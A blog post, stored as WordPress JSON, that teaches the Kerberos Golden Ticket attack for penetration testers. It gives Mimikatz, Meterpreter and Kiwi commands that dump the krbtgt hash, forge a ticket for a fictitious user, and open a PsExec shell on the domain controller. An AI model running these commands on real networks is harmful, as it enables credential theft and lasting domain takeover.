﻿{"id":71,"date":"2020-05-28T18:21:37","date_gmt":"2020-05-28T10:21:37","guid":{"rendered":"https:\/\/byy3.com\/?p=71"},"modified":"2020-05-28T18:47:45","modified_gmt":"2020-05-28T10:47:45","slug":"create-golden-ticket","status":"publish","type":"post","link":"https:\/\/byy3.com\/?p=71","title":{"rendered":"Create Golden Ticket"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Golden Ticket<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Administrator\u00a0Post Exploitation\u00a0Golden Ticket,\u00a0kerberos,\u00a0kiwi,\u00a0krbtgt,\u00a0Metasploit,\u00a0Mimikatz\u00a04 Comments<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Network penetration tests usually stop when domain administrator access has been obtained by the consultant. However domain persistence might be necessary if there is&nbsp; project time to spent and there is a concern that access might be lost due to a variety of reasons such as:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Change of compromised Domain Admin Password<\/li><li>Detection of new domain administrator account<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Benjamin Delpy\u00a0discovered the Golden Ticket attack and since then various articles have been written around this topic and threat actors (Bronze Butler) are using this attack for domain persistence. This technique leverages the lack of validation on the Kerberos authentication protocol in order to impersonate a particular user valid or invalid. This is due to the fact that users that have a TGT (ticket granting ticket) in their current session will consider trusted for Kerberos and therefore can access any resource in the network.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/github.com\/gentilkiwi\/mimikatz\/releases\" target=\"_blank\" rel=\"noreferrer noopener\" rel=\"nofollow\" >Mimikatz<\/a>&nbsp;support the creation of a golden ticket and its meterpreter extension kiwi. Metasploit Framework has a post exploitation&nbsp;<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.rapid7.com\/db\/modules\/post\/windows\/escalate\/golden_ticket\" target=\"_blank\" rel=\"noreferrer noopener\" rel=\"nofollow\" >module<\/a>&nbsp;which can automate the activity. The creation of a golden ticket requires the following information:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Domain Name<\/li><li>Domain SID<\/li><li>Username to impersonate<\/li><li>krbtgt NTLM hash<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Discovery of Golden Ticket Prerequisites<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The Domain name and the domain SID can be obtained very easily by executing the&nbsp;<strong>whoami \/user<\/strong>&nbsp;command or with the use of&nbsp;<strong>PsGetsid<\/strong>&nbsp;utility from&nbsp;<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/download.sysinternals.com\/files\/PSTools.zip\" target=\"_blank\" rel=\"noreferrer noopener\" rel=\"nofollow\" >PsTools<\/a>.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>12<\/td><td><code>whoami \/user<\/code><code>PsGetsid<\/code><code>64<\/code><code>.exe pentestlab.<\/code><code>local<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><img decoding=\"async\" data-original=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/domain-sid.png?w=500\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" srcset=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/domain-sid.png?w=500 500w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/domain-sid.png?w=150 150w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/domain-sid.png?w=300 300w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/domain-sid.png?w=768 768w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/domain-sid.png 796w\" title=\"Create Golden Ticket\u63d2\u56fe\" alt=\"Create Golden Ticket\u63d2\u56fe\" \/><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Domain SID<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The NTLM hash of the&nbsp;<strong>krbtgt<\/strong>&nbsp;account can be obtained via the following methods:&nbsp;<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>DCSync (Mimikatz)<\/li><li>LSA (Mimikatz)<\/li><li>Hashdump (Meterpreter)<\/li><li>NTDS.DIT<\/li><li>DCSync (Kiwi)<\/li><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">The DCSync is a mimikatz feature which will try to impersonate a domain controller and request account password information from the targeted domain controller. This technique is less noisy as it doesn\u2019t require direct access to the domain controller or retrieving the NTDS.DIT file over the network.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>1<\/td><td><code>lsadump::dcsync \/user:krbtgt<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><img decoding=\"async\" data-original=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-krbtgt-ntlm-hash.png?w=500\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" srcset=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-krbtgt-ntlm-hash.png?w=500 500w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-krbtgt-ntlm-hash.png?w=150 150w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-krbtgt-ntlm-hash.png?w=300 300w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-krbtgt-ntlm-hash.png?w=768 768w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-krbtgt-ntlm-hash.png 850w\" title=\"Create Golden Ticket\u63d2\u56fe1\" alt=\"Create Golden Ticket\u63d2\u56fe1\" \/><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mimikatz \u2013 krbtgt NTLM Hash<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Alternatively Mimikatz can retrieve the hash of the krbtgt account from the Local Security Authority (LSA) by executing Mimikatz on the domain controller.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>12<\/td><td><code>privilege::debug<\/code><code>lsadump::lsa \/inject \/name:krbtgt<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><img decoding=\"async\" data-original=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-krbtgt-ntlm-hash-via-lsa-dump.png?w=500\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" srcset=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-krbtgt-ntlm-hash-via-lsa-dump.png?w=500 500w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-krbtgt-ntlm-hash-via-lsa-dump.png?w=150 150w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-krbtgt-ntlm-hash-via-lsa-dump.png?w=300 300w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-krbtgt-ntlm-hash-via-lsa-dump.png?w=768 768w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-krbtgt-ntlm-hash-via-lsa-dump.png 852w\" title=\"Create Golden Ticket\u63d2\u56fe2\" alt=\"Create Golden Ticket\u63d2\u56fe2\" \/><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mimikatz \u2013 krbtgt NTLM Hash via LSA Dump<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If there is a Meterpreter session with the domain controller the quickest method is the&nbsp;<strong>hashdump<\/strong>&nbsp;command:<img decoding=\"async\" data-original=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/meterpreter-krbtgt-ntlm-hash.png?w=500\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" srcset=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/meterpreter-krbtgt-ntlm-hash.png?w=500 500w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/meterpreter-krbtgt-ntlm-hash.png?w=150 150w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/meterpreter-krbtgt-ntlm-hash.png?w=300 300w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/meterpreter-krbtgt-ntlm-hash.png 723w\" title=\"Create Golden Ticket\u63d2\u56fe3\" alt=\"Create Golden Ticket\u63d2\u56fe3\" \/><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Meterpreter \u2013 krbtgt NTLM Hash<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The Kiwi extension also supports the DCSync method and can retrieve the SID, LM and NTLM hashes.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>1<\/td><td><code>dcsync_ntlm krbtgt<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><img decoding=\"async\" data-original=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-kiwi-dcsync-retrieve-the-ntlm-hash.png?w=500\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" srcset=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-kiwi-dcsync-retrieve-the-ntlm-hash.png?w=500 500w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-kiwi-dcsync-retrieve-the-ntlm-hash.png?w=150 150w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-kiwi-dcsync-retrieve-the-ntlm-hash.png?w=300 300w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-kiwi-dcsync-retrieve-the-ntlm-hash.png 649w\" title=\"Create Golden Ticket\u63d2\u56fe4\" alt=\"Create Golden Ticket\u63d2\u56fe4\" \/><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Metasploit Kiwi DCSync \u2013 Retrieve the NTLM Hash<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Mimikatz<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">A forged Golden ticket can be created with Mimikatz by using the obtained information.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>12<\/td><td><code>kerberos::golden \/user:evil \/domain:pentestlab.<\/code><code>local<\/code> <code>\/sid:S<\/code><code>-1<\/code><code>-5<\/code><code>-21<\/code><code>-3737340914<\/code><code>-2019594255<\/code><code>-2413685307<\/code> <code>\/krbtgt:d<\/code><code>125<\/code><code>e<\/code><code>4<\/code><code>f<\/code><code>69<\/code><code>c<\/code><code>851529045<\/code><code>ec<\/code><code>95<\/code><code>ca<\/code><code>80<\/code><code>fa<\/code><code>37<\/code><code>e<\/code><code>\/ticket:evil.tck \/ptt<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><img decoding=\"async\" data-original=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-golden-ticket-creation.png?w=500\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" srcset=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-golden-ticket-creation.png?w=500 500w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-golden-ticket-creation.png?w=150 150w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-golden-ticket-creation.png?w=300 300w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-golden-ticket-creation.png?w=768 768w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-golden-ticket-creation.png 802w\" title=\"Create Golden Ticket\u63d2\u56fe5\" alt=\"Create Golden Ticket\u63d2\u56fe5\" \/><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mimikatz \u2013 Golden Ticket Creation<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The&nbsp;<strong>kerberos::list<\/strong>&nbsp;command will retrieve all the available Kerberos tickets and the&nbsp;<strong>kerberos::tgt<\/strong>&nbsp;will list the ticket that has been submitted for the current user session.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>12<\/td><td><code>kerberos::list<\/code><code>kerberos::tgt<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><img decoding=\"async\" data-original=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-kerberos-tickets.png?w=500\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" srcset=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-kerberos-tickets.png?w=500 500w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-kerberos-tickets.png?w=150 150w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-kerberos-tickets.png?w=300 300w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-kerberos-tickets.png?w=768 768w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/mimikatz-kerberos-tickets.png 803w\" title=\"Create Golden Ticket\u63d2\u56fe6\" alt=\"Create Golden Ticket\u63d2\u56fe6\" \/><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mimikatz \u2013 Kerberos Tickets<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Since the ticket was generated with NTLM hash of the&nbsp;<strong>krbtgt<\/strong>&nbsp;account Kerberos will trust the ticket by default and therefore any user valid or invalid regardless of their privileges have unrestricted network access including access to the domain controller. This can be confirmed by listing the admin share on the domain controller.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>1<\/td><td><code>dir \\\\WIN-PTELU<\/code><code>2<\/code><code>U<\/code><code>07<\/code><code>KG\\C$<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><img decoding=\"async\" data-original=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/golden-ticket-executing-commands-on-the-domain-controller-as-standard-user.png?w=500\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" srcset=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/golden-ticket-executing-commands-on-the-domain-controller-as-standard-user.png?w=500 500w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/golden-ticket-executing-commands-on-the-domain-controller-as-standard-user.png?w=150 150w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/golden-ticket-executing-commands-on-the-domain-controller-as-standard-user.png?w=300 300w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/golden-ticket-executing-commands-on-the-domain-controller-as-standard-user.png 747w\" title=\"Create Golden Ticket\u63d2\u56fe7\" alt=\"Create Golden Ticket\u63d2\u56fe7\" \/><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Golden Ticket \u2013 Executing Commands on the Domain Controller as standard user<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Attempts to list the same share as user&nbsp;<strong>test<\/strong>&nbsp;without the Golden Ticket will fail.<img decoding=\"async\" data-original=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/run-a-command-on-the-dc-before-golden-ticket.png?w=500\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" srcset=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/run-a-command-on-the-dc-before-golden-ticket.png?w=500 500w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/run-a-command-on-the-dc-before-golden-ticket.png?w=150 150w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/run-a-command-on-the-dc-before-golden-ticket.png?w=300 300w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/run-a-command-on-the-dc-before-golden-ticket.png 594w\" title=\"Create Golden Ticket\u63d2\u56fe8\" alt=\"Create Golden Ticket\u63d2\u56fe8\" \/><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Listing DC Admin Share without Golden Ticket<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Shell access to the domain controller is also possible with the use of the&nbsp;<strong>PsExec<\/strong>&nbsp;utility. Kerberos will grant access by using the ticket in the current session even though that the user \u2018<strong>evil\u2019<\/strong>&nbsp;is not valid.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>1<\/td><td><code>PsExec<\/code><code>64<\/code><code>.exe \\\\WIN-PTELU<\/code><code>2<\/code><code>U<\/code><code>07<\/code><code>KG\\ cmd.exe<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><img decoding=\"async\" data-original=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/golden-ticket-shell-with-psexec-as-invalid-user.png?w=500\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" srcset=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/golden-ticket-shell-with-psexec-as-invalid-user.png?w=500 500w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/golden-ticket-shell-with-psexec-as-invalid-user.png?w=150 150w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/golden-ticket-shell-with-psexec-as-invalid-user.png?w=300 300w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/golden-ticket-shell-with-psexec-as-invalid-user.png 673w\" title=\"Create Golden Ticket\u63d2\u56fe9\" alt=\"Create Golden Ticket\u63d2\u56fe9\" \/><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Golden Ticket \u2013 Shell with PsExec as invalid user<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Examining the list of domain users on the domain controller it is visible that the user evil doesn\u2019t exist however he has domain administrator access.<img decoding=\"async\" data-original=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/domain-users-absence-of-evil-user.png?w=500\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" srcset=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/domain-users-absence-of-evil-user.png?w=500 500w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/domain-users-absence-of-evil-user.png?w=150 150w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/domain-users-absence-of-evil-user.png?w=300 300w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/domain-users-absence-of-evil-user.png 563w\" title=\"Create Golden Ticket\u63d2\u56fe10\" alt=\"Create Golden Ticket\u63d2\u56fe10\" \/><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Domain Users \u2013 Absence of evil user<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It should be noted that the netbios name should be used for Kerberos authentication. Attempts to access the same resources with their correspondence IP addresses will fail with an access denied error since in this case NTLM authentication would be used and not the ticket.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Metasploit<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">In the scenario that domain administrator access has been obtained on the network and Metasploit Framework is used heavily in the assessment there is a Metasploit module which can automate the task of golden ticket.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>1<\/td><td><code>post\/windows\/escalate\/golden_ticket<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The module will try to obtain the required data automatically however since the information has been already retrieved it can be imported manually.<img decoding=\"async\" data-original=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-golden-ticket-module-configuration.png?w=500\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" srcset=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-golden-ticket-module-configuration.png?w=500 500w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-golden-ticket-module-configuration.png?w=150 150w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-golden-ticket-module-configuration.png?w=300 300w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-golden-ticket-module-configuration.png 725w\" title=\"Create Golden Ticket\u63d2\u56fe11\" alt=\"Create Golden Ticket\u63d2\u56fe11\" \/><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Metasploit \u2013 Golden Ticket Module Configuration<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Metasploit will create, store and apply the ticket automatically to an existing Meterpreter session.<img decoding=\"async\" data-original=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-golden-ticket.png?w=500\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" srcset=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-golden-ticket.png?w=500 500w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-golden-ticket.png?w=150 150w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-golden-ticket.png?w=300 300w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-golden-ticket.png 726w\" title=\"Create Golden Ticket\u63d2\u56fe12\" alt=\"Create Golden Ticket\u63d2\u56fe12\" \/><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Metasploit \u2013 Golden Ticket<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Kiwi<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Mimikatz has been ported to Metasploit Framework as an extension called kiwi. From a Meterpreter session Kiwi can be loaded by running the following:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>1<\/td><td><code>meterpreter &gt; load kiwi<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The Golden Ticket can be created with kiwi by executing the following command:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>12<\/td><td><code>golden_ticket_create -d pentestlab.<\/code><code>local<\/code> <code>-u pentestlabuser -s S<\/code><code>-1<\/code><code>-5<\/code><code>-21<\/code><code>-3737340914<\/code><code>-2019594255<\/code><code>-2413685307<\/code><code>-k d<\/code><code>125<\/code><code>e<\/code><code>4<\/code><code>f<\/code><code>69<\/code><code>c<\/code><code>851529045<\/code><code>ec<\/code><code>95<\/code><code>ca<\/code><code>80<\/code><code>fa<\/code><code>37<\/code><code>e -t \/root\/Downloads\/pentestlabuser.tck<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><img decoding=\"async\" data-original=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-kiwi-golden-ticket.png?w=500\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" srcset=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-kiwi-golden-ticket.png?w=500 500w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-kiwi-golden-ticket.png?w=150 150w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-kiwi-golden-ticket.png?w=300 300w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-kiwi-golden-ticket.png 725w\" title=\"Create Golden Ticket\u63d2\u56fe13\" alt=\"Create Golden Ticket\u63d2\u56fe13\" \/><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Metasploit Kiwi \u2013 Golden Ticket<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In order to apply the ticket to the existing session the&nbsp;<strong>kerberos_ticket_use<\/strong>&nbsp;needs to be used:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>1<\/td><td><code>kerberos_ticket_use \/root\/Downloads\/pentestlabuser.tck<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Verification that there is a Kerberos ticket for the current session<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>1<\/td><td><code>kerberos_ticket_list<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><img decoding=\"async\" data-original=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-kiwi-list-of-kerberos-tickets.png?w=500\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" srcset=\"https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-kiwi-list-of-kerberos-tickets.png?w=500 500w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-kiwi-list-of-kerberos-tickets.png?w=150 150w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-kiwi-list-of-kerberos-tickets.png?w=300 300w, https:\/\/pentestlab.files.wordpress.com\/2018\/04\/metasploit-kiwi-list-of-kerberos-tickets.png 726w\" title=\"Create Golden Ticket\u63d2\u56fe14\" alt=\"Create Golden Ticket\u63d2\u56fe14\" \/><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Metasploit Kiwi \u2013 List of Kerberos Tickets<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Resources can be accessed on the domain controller as pentestlabuser which is an account that doesn\u2019t exist.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Golden Ticket Administrator\u00a0Post Exploitation\u00a0Golden Ti [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[10],"class_list":["post-71","post","type-post","status-publish","format-standard","hentry","category-net-security","tag-golden-ticket"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/71","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=71"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/71\/revisions"}],"wp:attachment":[{"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=71"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=71"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=71"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}